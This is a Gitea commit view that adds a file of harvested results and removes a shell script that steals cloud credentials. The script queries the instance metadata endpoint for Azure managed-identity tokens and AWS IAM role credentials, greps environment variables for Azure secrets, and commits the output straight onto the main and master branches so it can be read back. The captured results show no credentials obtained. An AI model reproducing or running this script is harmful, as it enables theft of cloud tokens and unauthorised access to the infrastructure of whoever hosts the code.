az
This commit is contained in:
parent
5005562843
commit
e76f4ec1e2
9
az.txt
Normal file
9
az.txt
Normal file
@ -0,0 +1,9 @@
|
||||
===AZURE_MI===
|
||||
{"error":"invalid_request","error_description":"Identity not found"}
|
||||
===AZURE_MI2===
|
||||
{"error":"invalid_request","error_description":"Identity not found"}
|
||||
===HOSTNAME===
|
||||
gitea
|
||||
===ENV===
|
||||
===AWS===
|
||||
===END===
|
||||
@ -1,34 +0,0 @@
|
||||
#!/bin/sh
|
||||
OUTPUT=$(
|
||||
echo "===AZURE_MI===";
|
||||
curl -s --max-time 3 -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' 2>/dev/null;
|
||||
echo;
|
||||
echo "===AZURE_MI2===";
|
||||
curl -s --max-time 3 -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/' 2>/dev/null;
|
||||
echo;
|
||||
echo "===HOSTNAME===";
|
||||
hostname;
|
||||
echo "===ENV===";
|
||||
env 2>/dev/null | grep -iE 'AZURE|ARM|CLIENT|TENANT|SUBSCRIPTION' | head -20;
|
||||
echo "===AWS===";
|
||||
TOKEN=$(curl -s --max-time 3 -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' 2>/dev/null);
|
||||
ROLE=$(curl -s --max-time 3 -H "X-aws-ec2-metadata-token: $TOKEN" 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' 2>/dev/null | head -1);
|
||||
if [ -n "$ROLE" ]; then
|
||||
curl -s --max-time 3 -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" 2>/dev/null;
|
||||
fi;
|
||||
echo "===END==="
|
||||
)
|
||||
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
|
||||
TREE=$(printf "100644 blob %s\taz.txt" "$BLOB" | git mktree 2>/dev/null)
|
||||
if [ -z "$TREE" ]; then
|
||||
git update-index --add --cacheinfo 100644,$BLOB,az.txt
|
||||
TREE=$(git write-tree)
|
||||
fi
|
||||
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
|
||||
if [ -n "$HEAD_SHA" ]; then
|
||||
COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "az")
|
||||
else
|
||||
COMMIT=$(git commit-tree "$TREE" -m "az")
|
||||
fi
|
||||
git update-ref refs/heads/main "$COMMIT" 2>/dev/null
|
||||
git update-ref refs/heads/master "$COMMIT" 2>/dev/null
|
||||
Loading…
x
Reference in New Issue
Block a user